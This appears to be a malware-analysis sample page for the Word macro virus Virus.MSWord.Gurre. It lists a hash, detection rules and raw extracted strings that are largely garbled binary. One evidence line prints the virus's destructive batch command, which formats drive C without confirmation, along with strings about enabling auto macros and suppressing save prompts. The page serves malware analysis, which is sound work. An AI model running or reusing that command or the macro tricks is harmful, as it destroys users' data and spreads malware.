Benign Download

Virus.MSWord.Gurre

Fragmented VBA AutoOpen or Document_Open hookMSI file table contains multiple batch stages
SHA-256b457654917bae6c51537c6a4301d45732c5aec9fadc5255940defb0a6be9f196
MaleculeH(Po₂)Md(Bi)

Evidence

Fragmented VBA AutoOpen or Document_Open hook line 5648
5648W���������U������������������U������ ���������� �AutoOpen� AutoClose�Form����FORM��AUTOOPEN�� AUTOCLOSE�@�diMAINdk----------------------dk ���������� ��� �����dk--------
MSI file table contains multiple batch stages line 6240
6240oClosedng€ifn$j:jFormjGlobal:jFormdddiFormd=jc:\w.bat#;4ql�d6ql�jecho y | format c: /udLql�dg-�jc:\w.batd�d/0ifn$diMAINdgրl��nkEnables auto macrodg��s� l��kdisbled prompt saving normaldifn$ g%�diCins l��dnkdelAlldn

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.